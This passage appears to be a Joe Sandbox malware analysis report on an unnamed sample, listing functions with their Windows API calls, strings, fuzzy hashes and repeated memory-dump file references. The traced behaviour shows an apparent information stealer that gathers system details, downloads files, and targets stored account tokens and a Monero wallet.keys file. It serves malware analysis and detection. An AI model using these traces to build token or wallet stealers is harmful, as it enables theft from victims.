Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: eba5e731eb6f7880d3beba836865dc861dbecf0ddc822f0985ffd949e7c0587d
Instruction ID: 4f397b90fd393904d491312706cf66be9d226b3f214e19f20a5a709ee5abb9f2
Opcode Fuzzy Hash: eba5e731eb6f7880d3beba836865dc861dbecf0ddc822f0985ffd949e7c0587d
Instruction Fuzzy Hash: 09613FB590415D9BDB28DB51DC45FEABBB8BF48300F0081E9E689A6181DB705FC9CFA1

Function 005F8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01410608,00000000,?,00600E2C,00000000,?,00000000), ref: 005F8130
RtlAllocateHeap.NTDLL(00000000), ref: 005F8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 005F8158
__aulldiv.LIBCMT ref: 005F8172
__aulldiv.LIBCMT ref: 005F8180
wsprintfA.USER32 ref: 005F81AC

Strings

@, xrefs: 005F814D
%d MB, xrefs: 005F81A3

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 5f2e9b515db2b3c8c8e610ec6c31b2edc60efc241d885f07e6a3ca0c42664afe
Instruction ID: 1c4b2dc61d0c87b69bfe83c3d09cfa07f0ce312a99defaaa7090d811a3b2cfc0
Opcode Fuzzy Hash: 5f2e9b515db2b3c8c8e610ec6c31b2edc60efc241d885f07e6a3ca0c42664afe
Instruction Fuzzy Hash: 622127B1A44208ABDB14DFD4CC49FBEBBB9FB44B00F104619F705AB280C77869018BA5

Function 005E60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
Part of subcall function 005E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

InternetOpenA.WININET(00600DF7,00000001,00000000,00000000,00000000), ref: 005E610F
StrCmpCA.SHLWAPI(?,01410AB0), ref: 005E6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 005E618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 005E61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 005E61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 005E620A
CloseHandle.KERNEL32(?,?,00000400), ref: 005E6249
InternetCloseHandle.WININET(?), ref: 005E6253
InternetCloseHandle.WININET(00000000), ref: 005E6260

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 774688eb24df5d29c9461cedc35146f5e57d75ead081dca5469a5a6a5237496c
Instruction ID: 5e067d985f188a45ba239230992b9521e37967fdfc40c30e3d2d949912935cb3
Opcode Fuzzy Hash: 774688eb24df5d29c9461cedc35146f5e57d75ead081dca5469a5a6a5237496c
Instruction Fuzzy Hash: D2519FB1900209AFDB28DF51DC49BEE7BB8FF44340F008098A745A71C0DB746A86CF96

Function 005EBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

lstrlen.KERNEL32(00000000), ref: 005EBC9F

Part of subcall function 005F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 005EBCCD
lstrlen.KERNEL32(00000000), ref: 005EBDA5
lstrlen.KERNEL32(00000000), ref: 005EBDB9

Strings

AccountId, xrefs: 005EBCC4
SELECT service, encrypted_token FROM token_service, xrefs: 005EBBEB
AccountTokens, xrefs: 005EBB49
AccountTokens, xrefs: 005EBABA

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 3fad3832e3d4bab12241e3b4b5ae15dccac7a5f0b819e9ba5d602a5742f33cc7
Instruction ID: a9df70112269354acd92730e87cecb7b15b4a4c7c8488ae48ca1767421afc4c1
Opcode Fuzzy Hash: 3fad3832e3d4bab12241e3b4b5ae15dccac7a5f0b819e9ba5d602a5742f33cc7
Instruction Fuzzy Hash: 26B154B19101099BDB18EBA0CD5ADFE7B39BF94340F404128F60A67095EF786A49CB63

Function 005E4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005E4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 005E4FD1
InternetOpenA.WININET(00600DDF,00000000,00000000,00000000,00000000), ref: 005E4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 005E5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 005E5041
InternetCloseHandle.WININET(?), ref: 005E50B9
InternetCloseHandle.WININET(?), ref: 005E50C6

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: ef2bd3d6166bbeeaecf83566dc6821db834a2847b4dd8690c5da91195273fcd0
Instruction ID: 7780a24e09a6f33ae2a74ff0159220e93996e86364814cdb528693b56107032b
Opcode Fuzzy Hash: ef2bd3d6166bbeeaecf83566dc6821db834a2847b4dd8690c5da91195273fcd0
Instruction Fuzzy Hash: 2C3107B4A00218ABDB24CF54DC89BDDB7B5FB48704F5081E9FB09A7281D7706A858F99

Function 005F83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005F8426
wsprintfA.USER32 ref: 005F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 005F847B
RegCloseKey.ADVAPI32(00000000), ref: 005F848C
RegCloseKey.ADVAPI32(00000000), ref: 005F8499

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

RegQueryValueExA.KERNEL32(00000000,01410668,00000000,000F003F,?,00000400), ref: 005F84EC
lstrlen.KERNEL32(?), ref: 005F8501
RegQueryValueExA.KERNEL32(00000000,01410698,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00600B34), ref: 005F8599
RegCloseKey.KERNEL32(00000000), ref: 005F8608
RegCloseKey.ADVAPI32(00000000), ref: 005F861A

Strings

%s\%s, xrefs: 005F844D

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 4a288b9e1a913d59a34d056ef86759b4ff15620108eb86dda8fba0f61b075f80
Instruction ID: 0e4c49dad18a73cd83a711c6ed9e975cf5e69a62d390621ca60c48af576b3122
Opcode Fuzzy Hash: 4a288b9e1a913d59a34d056ef86759b4ff15620108eb86dda8fba0f61b075f80
Instruction Fuzzy Hash: 8D21E7B191021CABDB28DB54DC85FE9B7B8FF48700F00C599A609A6180DF75AA86CFD5

Function 005F7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F76A4
RtlAllocateHeap.NTDLL(00000000), ref: 005F76AB
RegOpenKeyExA.KERNEL32(80000002,013FC040,00000000,00020119,00000000), ref: 005F76DD
RegQueryValueExA.KERNEL32(00000000,01410650,00000000,00000000,?,000000FF), ref: 005F76FE
RegCloseKey.ADVAPI32(00000000), ref: 005F7708

Strings

Windows 11, xrefs: 005F76BD

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 969013bb77e1396e9a8b588f4c46766296fe8130879c7ecd933d614eb0b79731
Instruction ID: 3fd916375b8d20603d9b23dcf95d532d050f79efd8eea9f719653b14f037e233
Opcode Fuzzy Hash: 969013bb77e1396e9a8b588f4c46766296fe8130879c7ecd933d614eb0b79731
Instruction Fuzzy Hash: DB012CB5A44209BBE714EBA4DC49F7ABBB8FF48701F108454FB05A7290D67499018B51

Function 005F7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7734
RtlAllocateHeap.NTDLL(00000000), ref: 005F773B
RegOpenKeyExA.KERNEL32(80000002,013FC040,00000000,00020119,005F76B9), ref: 005F775B
RegQueryValueExA.KERNEL32(005F76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 005F777A
RegCloseKey.ADVAPI32(005F76B9), ref: 005F7784

Strings

CurrentBuildNumber, xrefs: 005F7771

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
